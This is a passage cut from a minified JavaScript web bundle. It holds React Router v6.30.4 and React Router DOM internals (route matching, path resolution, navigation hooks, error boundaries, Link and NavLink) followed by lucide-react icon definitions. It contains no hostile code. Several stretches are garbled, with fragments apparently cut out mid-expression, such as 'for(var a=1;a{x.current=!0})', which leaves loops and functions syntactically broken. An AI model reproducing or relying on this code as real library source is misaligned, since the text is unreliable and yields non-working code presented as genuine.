i.endsWith("*")?(c.push({paramName:"*"}),p+=i==="*"||i==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):s?p+="\\/*$":i!==""&&i!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),c]}function Zp(i){try{return i.split("/").map(a=>decodeURIComponent(a).replace(/\//g,"%2F")).join("/")}catch(a){return Ps(!1,'The URL path "'+i+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),i}}function nr(i,a){if(a==="/")return i;if(!i.toLowerCase().startsWith(a.toLowerCase()))return null;let s=a.endsWith("/")?a.length-1:a.length,c=i.charAt(s);return c&&c!=="/"?null:i.slice(s)||"/"}const eh=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,th=i=>eh.test(i);function nh(i,a){a===void 0&&(a="/");let{pathname:s,search:c="",hash:p=""}=typeof i=="string"?lr(i):i,h;if(s)if(th(s))h=s;else{if(s.includes("//")){let g=s;s=Zc(s),Ps(!1,"Pathnames cannot have embedded double slashes - normalizing "+(g+" -> "+s))}s.startsWith("/")?h=Ac(s.substring(1),"/"):h=Ac(s,a)}else h=a;return{pathname:h,search:oh(c),hash:ih(p)}}function Ac(i,a){let s=a.replace(/\/+$/,"").split("/");return i.split("/").forEach(p=>{p===".."?s.length>1&&s.pop():p!=="."&&s.push(p)}),s.length>1?s.join("/"):"/"}function ys(i,a,s,c){return"Cannot include a '"+i+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(c)+"]. Please separate it out to the ")+("`to."+s+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function rh(i){return i.filter((a,s)=>s===0||a.route.path&&a.route.path.length>0)}function _s(i,a){let s=rh(i);return a?s.map((c,p)=>p===s.length-1?c.pathname:c.pathnameBase):s.map(c=>c.pathnameBase)}function zs(i,a,s,c){c===void 0&&(c=!1);let p;typeof i=="string"?p=lr(i):(p=Yr({},i),Se(!p.pathname||!p.pathname.includes("?"),ys("?","pathname","search",p)),Se(!p.pathname||!p.pathname.includes("#"),ys("#","pathname","hash",p)),Se(!p.search||!p.search.includes("#"),ys("#","search","hash",p)));let h=i===""||p.pathname==="",g=h?"/":p.pathname,x;if(g==null)x=s;else{let j=a.length-1;if(!c&&g.startsWith("..")){let P=g.split("/");for(;P[0]==="..";)P.shift(),j-=1;p.pathname=P.join("/")}x=j>=0?a[j]:"/"}let k=nh(p,x),_=g&&g!=="/"&&g.endsWith("/"),N=(h||g===".")&&s.endsWith("/");return!k.pathname.endsWith("/")&&(_||N)&&(k.pathname+="/"),k}const Zc=i=>i.replace(/\/\/+/g,"/"),mn=i=>Zc(i.join("/")),lh=i=>i.replace(/\/+$/,"").replace(/^\/*/,"/"),oh=i=>!i||i==="?"?"":i.startsWith("?")?i:"?"+i,ih=i=>!i||i==="#"?"":i.startsWith("#")?i:"#"+i;function sh(i){return i!=null&&typeof i.status=="number"&&typeof i.statusText=="string"&&typeof i.internal=="boolean"&&"data"in i}const ed=["post","put","patch","delete"];new Set(ed);const ah=["get",...ed];new Set(ah);/** + * React Router v6.30.4 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Jr(){return Jr=Object.assign?Object.assign.bind():function(i){for(var a=1;a{x.current=!0}),E.useCallback(function(_,N){if(N===void 0&&(N={}),!x.current)return;if(typeof _=="number"){c.go(_);return}let j=zs(_,JSON.parse(g),h,N.relative==="path");i==null&&a!=="/"&&(j.pathname=j.pathname==="/"?a:mn([a,j.pathname])),(N.replace?c.replace:c.push)(j,N.state,N)},[a,c,g,h,i])}const dh=E.createContext(null);function fh(i){let a=E.useContext(Ht).outlet;return a&&E.createElement(dh.Provider,{value:i},a)}function xo(i,a){let{relative:s}=a===void 0?{}:a,{future:c}=E.useContext(bt),{matches:p}=E.useContext(Ht),{pathname:h}=vn(),g=JSON.stringify(_s(p,c.v7_relativeSplatPath));return E.useMemo(()=>zs(i,JSON.parse(g),h,s==="path"),[i,g,h,s])}function ph(i,a){return hh(i,a)}function hh(i,a,s,c){or()||Se(!1);let{navigator:p}=E.useContext(bt),{matches:h}=E.useContext(Ht),g=h[h.length-1],x=g?g.params:{};g&&g.pathname;let k=g?g.pathnameBase:"/";g&&g.route;let _=vn(),N;if(a){var j;let z=typeof a=="string"?lr(a):a;k==="/"||(j=z.pathname)!=null&&j.startsWith(k)||Se(!1),N=z}else N=_;let P=N.pathname||"/",B=P;if(k!=="/"){let z=k.replace(/^\//,"").split("/");B="/"+P.replace(/^\//,"").split("/").slice(z.length).join("/")}let F=Bp(i,{pathname:B}),R=xh(F&&F.map(z=>Object.assign({},z,{params:Object.assign({},x,z.params),pathname:mn([k,p.encodeLocation?p.encodeLocation(z.pathname).pathname:z.pathname]),pathnameBase:z.pathnameBase==="/"?k:mn([k,p.encodeLocation?p.encodeLocation(z.pathnameBase).pathname:z.pathnameBase])})),h,s,c);return a&&R?E.createElement(go.Provider,{value:{location:Jr({pathname:"/",search:"",hash:"",state:null,key:"default"},N),navigationType:hn.Pop}},R):R}function mh(){let i=Ch(),a=sh(i)?i.status+" "+i.statusText:i instanceof Error?i.message:JSON.stringify(i),s=i instanceof Error?i.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return E.createElement(E.Fragment,null,E.createElement("h2",null,"Unexpected Application Error!"),E.createElement("h3",{style:{fontStyle:"italic"}},a),s?E.createElement("pre",{style:p},s):null,null)}const vh=E.createElement(mh,null);class gh extends E.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,s){return s.location!==a.location||s.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:s.error,location:s.location,revalidation:a.revalidation||s.revalidation}}componentDidCatch(a,s){console.error("React Router caught the following error during render",a,s)}render(){return this.state.error!==void 0?E.createElement(Ht.Provider,{value:this.props.routeContext},E.createElement(nd.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function yh(i){let{routeContext:a,match:s,children:c}=i,p=E.useContext(vo);return p&&p.static&&p.staticContext&&(s.route.errorElement||s.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=s.route.id),E.createElement(Ht.Provider,{value:a},c)}function xh(i,a,s,c){var p;if(a===void 0&&(a=[]),s===void 0&&(s=null),c===void 0&&(c=null),i==null){var h;if(!s)return null;if(s.errors)i=s.matches;else if((h=c)!=null&&h.v7_partialHydration&&a.length===0&&!s.initialized&&s.matches.length>0)i=s.matches;else return null}let g=i,x=(p=s)==null?void 0:p.errors;if(x!=null){let N=g.findIndex(j=>j.route.id&&(x==null?void 0:x[j.route.id])!==void 0);N>=0||Se(!1),g=g.slice(0,Math.min(g.length,N+1))}let k=!1,_=-1;if(s&&c&&c.v7_partialHydration)for(let N=0;N=0?g=g.slice(0,_+1):g=[g[0]];break}}}return g.reduceRight((N,j,P)=>{let B,F=!1,R=null,z=null;s&&(B=x&&j.route.id?x[j.route.id]:void 0,R=j.route.errorElement||vh,k&&(_<0&&P===0?(Eh("route-fallback"),F=!0,z=null):_===P&&(F=!0,z=j.route.hydrateFallbackElement||null)));let H=a.concat(g.slice(0,P+1)),Q=()=>{let q;return B?q=R:F?q=z:j.route.Component?q=E.createElement(j.route.Component,null):j.route.element?q=j.route.element:q=N,E.createElement(yh,{match:j,routeContext:{outlet:N,matches:H,isDataRoute:s!=null},children:q})};return s&&(j.route.ErrorBoundary||j.route.errorElement||P===0)?E.createElement(gh,{location:s.location,revalidation:s.revalidation,component:R,error:B,children:Q(),routeContext:{outlet:null,matches:H,isDataRoute:!0}}):Q()},null)}var ld=(function(i){return i.UseBlocker="useBlocker",i.UseRevalidator="useRevalidator",i.UseNavigateStable="useNavigate",i})(ld||{}),od=(function(i){return i.UseBlocker="useBlocker",i.UseLoaderData="useLoaderData",i.UseActionData="useActionData",i.UseRouteError="useRouteError",i.UseNavigation="useNavigation",i.UseRouteLoaderData="useRouteLoaderData",i.UseMatches="useMatches",i.UseRevalidator="useRevalidator",i.UseNavigateStable="useNavigate",i.UseRouteId="useRouteId",i})(od||{});function wh(i){let a=E.useContext(vo);return a||Se(!1),a}function kh(i){let a=E.useContext(td);return a||Se(!1),a}function Sh(i){let a=E.useContext(Ht);return a||Se(!1),a}function id(i){let a=Sh(),s=a.matches[a.matches.length-1];return s.route.id||Se(!1),s.route.id}function Ch(){var i;let a=E.useContext(nd),s=kh(),c=id();return a!==void 0?a:(i=s.errors)==null?void 0:i[c]}function Nh(){let{router:i}=wh(ld.UseNavigateStable),a=id(od.UseNavigateStable),s=E.useRef(!1);return rd(()=>{s.current=!0}),E.useCallback(function(p,h){h===void 0&&(h={}),s.current&&(typeof p=="number"?i.navigate(p):i.navigate(p,Jr({fromRouteId:a},h)))},[i,a])}const Bc={};function Eh(i,a,s){Bc[i]||(Bc[i]=!0)}function jh(i,a){i==null||i.v7_startTransition,i==null||i.v7_relativeSplatPath}function co(i){let{to:a,replace:s,state:c,relative:p}=i;or()||Se(!1);let{future:h,static:g}=E.useContext(bt),{matches:x}=E.useContext(Ht),{pathname:k}=vn(),_=yo(),N=zs(a,_s(x,h.v7_relativeSplatPath),k,p==="path"),j=JSON.stringify(N);return E.useEffect(()=>_(JSON.parse(j),{replace:s,state:c,relative:p}),[_,j,p,s,c]),null}function sd(i){return fh(i.context)}function Ct(i){Se(!1)}function Ph(i){let{basename:a="/",children:s=null,location:c,navigationType:p=hn.Pop,navigator:h,static:g=!1,future:x}=i;or()&&Se(!1);let k=a.replace(/^\/*/,"/"),_=E.useMemo(()=>({basename:k,navigator:h,static:g,future:Jr({v7_relativeSplatPath:!1},x)}),[k,x,h,g]);typeof c=="string"&&(c=lr(c));let{pathname:N="/",search:j="",hash:P="",state:B=null,key:F="default"}=c,R=E.useMemo(()=>{let z=nr(N,k);return z==null?null:{location:{pathname:z,search:j,hash:P,state:B,key:F},navigationType:p}},[k,N,j,P,B,F,p]);return R==null?null:E.createElement(bt.Provider,{value:_},E.createElement(go.Provider,{children:s,value:R}))}function _h(i){let{children:a,location:s}=i;return ph(Cs(a),s)}new Promise(()=>{});function Cs(i,a){a===void 0&&(a=[]);let s=[];return E.Children.forEach(i,(c,p)=>{if(!E.isValidElement(c))return;let h=[...a,p];if(c.type===E.Fragment){s.push.apply(s,Cs(c.props.children,h));return}c.type!==Ct&&Se(!1),!c.props.index||!c.props.children||Se(!1);let g={id:c.props.id||h.join("-"),caseSensitive:c.props.caseSensitive,element:c.props.element,Component:c.props.Component,index:c.props.index,path:c.props.path,loader:c.props.loader,action:c.props.action,errorElement:c.props.errorElement,ErrorBoundary:c.props.ErrorBoundary,hasErrorBoundary:c.props.ErrorBoundary!=null||c.props.errorElement!=null,shouldRevalidate:c.props.shouldRevalidate,handle:c.props.handle,lazy:c.props.lazy};c.props.children&&(g.children=Cs(c.props.children,h)),s.push(g)}),s}/** + * React Router DOM v6.30.4 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function po(){return po=Object.assign?Object.assign.bind():function(i){for(var a=1;a{_&&Vc?Vc(()=>k(j)):k(j)},[k,_]);return E.useLayoutEffect(()=>g.listen(N),[g,N]),E.useEffect(()=>jh(c),[c]),E.createElement(Ph,{basename:a,children:s,location:x.location,navigationType:x.action,navigator:g,future:c})}const Dh=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",Uh=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,Ah=E.forwardRef(function(a,s){let{onClick:c,relative:p,reloadDocument:h,replace:g,state:x,target:k,to:_,preventScrollReset:N,viewTransition:j}=a,P=ad(a,Lh),{basename:B}=E.useContext(bt),F,R=!1;if(typeof _=="string"&&Uh.test(_)&&(F=_,Dh))try{let q=new URL(window.location.href),J=_.startsWith("//")?new URL(q.protocol+_):new URL(_),pe=nr(J.pathname,B);J.origin===q.origin&&pe!=null?_=pe+J.search+J.hash:R=!0}catch{}let z=uh(_,{relative:p}),H=Wh(_,{replace:g,state:x,target:k,preventScrollReset:N,relative:p,viewTransition:j});function Q(q){c&&c(q),q.defaultPrevented||H(q)}return E.createElement("a",po({},P,{href:F||z,onClick:R||h?c:Q,ref:s,target:k}))}),Bh=E.forwardRef(function(a,s){let{"aria-current":c="page",caseSensitive:p=!1,className:h="",end:g=!1,style:x,to:k,viewTransition:_,children:N}=a,j=ad(a,Th),P=xo(k,{relative:j.relative}),B=vn(),F=E.useContext(td),{navigator:R,basename:z}=E.useContext(bt),H=F!=null&&$h(P)&&_===!0,Q=R.encodeLocation?R.encodeLocation(P).pathname:P.pathname,q=B.pathname,J=F&&F.navigation&&F.navigation.location?F.navigation.location.pathname:null;p||(q=q.toLowerCase(),J=J?J.toLowerCase():null,Q=Q.toLowerCase()),J&&z&&(J=nr(J,z)||J);const pe=Q!=="/"&&Q.endsWith("/")?Q.length-1:Q.length;let Ce=q===Q||!g&&q.startsWith(Q)&&q.charAt(pe)==="/",Pe=J!=null&&(J===Q||!g&&J.startsWith(Q)&&J.charAt(Q.length)==="/"),ze={isActive:Ce,isPending:Pe,isTransitioning:H},Ge=Ce?c:void 0,Fe;typeof h=="function"?Fe=h(ze):Fe=[h,Ce?"active":null,Pe?"pending":null,H?"transitioning":null].filter(Boolean).join(" ");let et=typeof x=="function"?x(ze):x;return E.createElement(Ah,po({},j,{"aria-current":Ge,className:Fe,ref:s,style:et,to:k,viewTransition:_}),typeof N=="function"?N(ze):N)});var Ns;(function(i){i.UseScrollRestoration="useScrollRestoration",i.UseSubmit="useSubmit",i.UseSubmitFetcher="useSubmitFetcher",i.UseFetcher="useFetcher",i.useViewTransitionState="useViewTransitionState"})(Ns||(Ns={}));var Wc;(function(i){i.UseFetcher="useFetcher",i.UseFetchers="useFetchers",i.UseScrollRestoration="useScrollRestoration"})(Wc||(Wc={}));function Vh(i){let a=E.useContext(vo);return a||Se(!1),a}function Wh(i,a){let{target:s,replace:c,state:p,preventScrollReset:h,relative:g,viewTransition:x}=a===void 0?{}:a,k=yo(),_=vn(),N=xo(i,{relative:g});return E.useCallback(j=>{if(Rh(j,s)){j.preventDefault();let P=c!==void 0?c:fo(_)===fo(N);k(i,{replace:P,state:p,preventScrollReset:h,relative:g,viewTransition:x})}},[_,k,N,c,p,s,i,h,g,x])}function $h(i,a){a===void 0&&(a={});let s=E.useContext(Oh);s==null&&Se(!1);let{basename:c}=Vh(Ns.useViewTransitionState),p=xo(i,{relative:a.relative});if(!s.isTransitioning)return!1;let h=nr(s.currentLocation.pathname,c)||s.currentLocation.pathname,g=nr(s.nextLocation.pathname,c)||s.nextLocation.pathname;return Ss(p.pathname,g)!=null||Ss(p.pathname,h)!=null}/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const bh=i=>i.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),ud=(...i)=>i.filter((a,s,c)=>!!a&&a.trim()!==""&&c.indexOf(a)===s).join(" ").trim();/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */var Hh={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const Qh=E.forwardRef(({color:i="currentColor",size:a=24,strokeWidth:s=2,absoluteStrokeWidth:c,className:p="",children:h,iconNode:g,...x},k)=>E.createElement("svg",{ref:k,...Hh,width:a,height:a,stroke:i,strokeWidth:c?Number(s)*24/Number(a):s,className:ud("lucide",p),...x},[...g.map(([_,N])=>E.createElement(_,N)),...Array.isArray(h)?h:[h]]));/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const ce=(i,a)=>{const s=E.forwardRef(({className:c,...p},h)=>E.createElement(Qh,{ref:h,iconNode:a,className:ud(`lucide-${bh(i)}`,c),...p}));return s.displayName=`${i}`,s};/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const cd=ce("Activity",[["path",{d:"M22 12h-2.48a2 2 0 0 0-1.93 1.46l-2.35 8.36a.25.25 0 0 1-.48 0L9.24 2.18a.25.25 0 0 0-.48 0l-2.35 8.36A2 2 0 0 1 4.49 12H2",key:"169zse"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const dd=ce("Anvil",[["path",{d:"M7 10H6a4 4 0 0 1-4-4 1 1 0 0 1 1-1h4",key:"1hjpb6"}],["path",{d:"M7 5a1 1 0 0 1 1-1h13a1 1 0 0 1 1 1 7 7 0 0 1-7 7H8a1 1 0 0 1-1-1z",key:"1qn45f"}],["path",{d:"M9 12v5",key:"3anwtq"}],["path",{d:"M15 12v5",key:"5xh3zn"}],["path",{d:"M5 20a3 3 0 0 1 3-3h8a3 3 0 0 1 3 3 1 1 0 0 1-1 1H6a1 1 0 0 1-1-1",key:"1fi4x8"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const Gh=ce("ChevronDown",[["path",{d:"m6 9 6 6 6-6",key:"qrunsl"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const Kh=ce("ChevronUp",[["path",{d:"m18 15-6-6-6 6",key:"153udz"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const Xh=ce("Cpu",[["rect",{width:"16",height:"16",x:"4",y:"4",rx:"2",key:"14l7u7"}],["rect",{width:"6",height:"6",x:"9",y:"9",rx:"1",key:"5aljv4"}],["path",{d:"M15 2v2",key:"13l42r"}],["path",{d:"M15 20v2",key:"15mkzm"}],["path",{d:"M2 15h2",key:"1gxd5l"}],["path",{d:"M2 9h2",key:"1bbxkp"}],["path",{d:"M20 15h2",key:"19e6y8"}],["path",{d:"M20 9h2",key:"19tzq7"}],["path",{d:"M9 2v2",key:"165o2o"}],["path",{d:"M9 20v2",key:"i2bqo8"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const fd=ce("Eye",[["path",{d:"M2.062 12.348a1 1 0 0 1 0-.696 10.75 10.75 0 0 1 19.876 0 1 1 0 0 1 0 .696 10.75 10.75 0 0 1-19.876 0",key:"1nclc0"}],["circle",{cx:"12",cy:"12",r:"3",key:"1v7zrd"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const Yh=ce("Gauge",[["path",{d:"m12 14 4-4",key:"9kzdfg"}],["path",{d:"M3.34 19a10 10 0 1 1 17.32 0",key:"19p75a"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const pd=ce("Hammer",[["path",{d:"m15 12-8.373 8.373a1 1 0 1 1-3-3L12 9",key:"eefl8a"}],["path",{d:"m18 15 4-4",key:"16gjal"}],["path",{d:"m21.5 11.5-1.914-1.914A2 2 0 0 1 19 8.172V7l-2.26-2.26a6 6 0 0 0-4.202-1.756L9 2.96l.92.82A6.18 6.18 0 0 1 12 8.4V10l2 2h1.172a2 2 0 0 1 1.414.586L18.5 14.5",key:"b7pghm"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const Jh=ce("HardDrive",[["line",{x1:"22",x2:"2",y1:"12",y2:"12",key:"1y58io"}],["path",{d:"M5.45 5.11 2 12v6a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2v-6l-3.45-6.89A2 2 0 0 0 16.76 4H7.24a2 2 0 0 0-1.79 1.11z",key:"oot6mr"}],["line",{x1:"6",x2:"6.01",y1:"16",y2:"16",key:"sgf278"}],["line",{x1:"10",x2:"10.01",y1:"16",y2:"16",key:"1l4acy"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const qh=ce("Layers",[["path",{d:"M12.83 2.18a2 2 0 0 0-1.66 0L2.6 6.08a1 1 0 0 0 0 1.83l8.58 3.91a2 2 0 0 0 1.66 0l8.58-3.9a1 1 0 0 0 0-1.83z",key:"zw3jo"}],["path",{d:"M2 12a1 1 0 0 0 .58.91l8.6 3.91a2 2 0 0 0 1.65 0l8.58-3.9A1 1 0 0 0 22 12",key:"1wduqc"}],["path",{d:"M2 17a1 1 0 0 0 .58.91l8.6 3.91a2 2 0 0 0 1.65 0l8.58-3.9A1 1 0 0 0 22 17",key:"kqbvx6"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const rr=ce("LoaderCircle",[["path",{d:"M21 12a9 9 0 1 1-6.219-8.56",key:"13zald"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const Zh=ce("Lock",[["rect",{width:"18",height:"11",x:"3",y:"11",rx:"2",ry:"2",key:"1w4ew1"}],["path",{d:"M7 11V7a5 5 0 0 1 10 0v4",key:"fwvmzm"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const em=ce("LogOut",[["path",{d:"M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4",key:"1uf3rs"}],["polyline",{points:"16 17 21 12 16 7",key:"1gabdz"}],["line",{x1:"21",x2:"9",y1:"12",y2:"12",key:"1uyos4"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const tm=ce("Network",[["rect",{x:"16",y:"16",width:"6",height:"6",rx:"1",key:"4q2zg0"}],["rect",{x:"2",y:"16",width:"6",height:"6",rx:"1",key:"8cvhb9"}],["rect",{x:"9",y:"2",width:"6",height:"6",rx:"1",key:"1egb70"}],["path",{d:"M5 16v-3a1 1 0 0 1 1-1h12a1 1 0 0 1 1 1v3",key:"1jsf9p"}],["path",{d:"M12 12V8",key:"2874zd"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const nm=ce("Package",[["path",{d:"M11 21.73a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73z",key:"1a0edw"}],["path",{d:"M12 22V12",key:"d0xqtd"}],["path",{d:"m3.3 7 7.703 4.734a2 2 0 0 0 1.994 0L20.7 7",key:"yx3hmr"}],["path",{d:"m7.5 4.27 9 5.15",key:"1c824w"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const rm=ce("Play",[["polygon",{points:"6 3 20 12 6 21 6 3",key:"1oa8hb"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const lm=ce("Radio",[["path",{d:"M4.9 19.1C1 15.2 1 8.8 4.9 4.9",key:"1vaf9d"}],["path",{d:"M7.8 16.2c-2.3-2.3-2.3-6.1 0-8.5",key:"u1ii0m"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["path",{d:"M16.2 7.8c2.3 2.3 2.3 6.1 0 8.5",key:"1j5fej"}],["path",{d:"M19.1 4.9C23 8.8 23 15.1 19.1 19",key:"10b0cb"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const $c=ce("RefreshCw",[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const om=ce("Save",[["path",{d:"M15.2 3a2 2 0 0 1 1.4.6l3.8 3.8a2 2 0 0 1 .6 1.4V19a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2z",key:"1c8476"}],["path",{d:"M17 21v-7a1 1 0 0 0-1-1H8a1 1 0 0 0-1 1v7",key:"1ydtos"}],["path",{d:"M7 3v4a1 1 0 0 0 1 1h7",key:"t51u73"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const im=ce("Send",[["path",{d:"M14.536 21.686a.5.5 0 0 0 .937-.024l6.5-19a.496.496 0 0 0-.635-.635l-19 6.5a.5.5 0 0 0-.024.937l7.93 3.18a2 2 0 0 1 1.112 1.11z",key:"1ffxy3"}],["path",{d:"m21.854 2.147-10.94 10.939",key:"12cjpa"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const sm=ce("Server",[["rect",{width:"20",height:"8",x:"2",y:"2",rx:"2",ry:"2",key:"ngkwjq"}],["rect",{width:"20",height:"8",x:"2",y:"14",rx:"2",ry:"2",key:"iecqi9"}],["line",{x1:"6",x2:"6.01",y1:"6",y2:"6",key:"16zg32"}],["line",{x1:"6",x2:"6.01",y1:"18",y2:"18",key:"nzw8ys"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const am=ce("ShieldCheck",[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}],["path",{d:"m9 12 2 2 4-4",key:"dzmm74"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const um=ce("Shield",[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const hd=ce("Terminal",[["polyline",{points:"4 17 10 11 4 5",key:"akl6gq"}],["line",{x1:"12",x2:"20",y1:"19",y2:"19",key:"q2wloq"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const cm=ce("User",[["path",{d:"M19 21v-2a4 4 0 0 0-4-4H9a4 4 0 0 0-4 4v2",key:"975kel"}],["circle",{cx:"12",cy:"7",r:"4",key:"17ys0d"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const dm=ce("Wallet",[["path",{d:"M19 7V4a1 1 0 0 0-1-1H5a2 2 0 0 0 0 4h15a1 1 0 0 1 1 1v4h-3a2 2 0 0 0 0 4h3a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1",key:"18etb6"}],["path",{d:"M3 5v14a2 2 0 0 0 2 2h15a1 1 0 0 0 1-1v-4",key:"xoc0q4"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const fm=ce("WifiOff",[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}],["path",{d:"M5 12.859a10 10 0 0 1 5.17-2.69",key:"1dl1wf"}],["path",{d:"M19 12.859a10 10 0 0 0-2.007-1.523",key:"4k23kn"}],["path",{d:"M2 8.82a15 15 0 0 1 4.177-2.643",key:"1grhjp"}],["path",{d:"M22 8.82a15 15 0 0 0-11.288-3.764",key:"z3jwby"}],["path",{d:"m2 2 20 20",key:"1ooewy"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const bc=ce("Wifi",[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M2 8.82a15 15 0 0 1 20 0",key:"dnpr2z"}],["path",{d:"M5 12.859a10 10 0 0 1 14 0",key:"1x1e6c"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}]]);/** + * @license lucide-react v0.469.0 - ISC + * + * This source code is licensed under the ISC license. + * See the LICENSE file in the root directory of this source tree. + */const 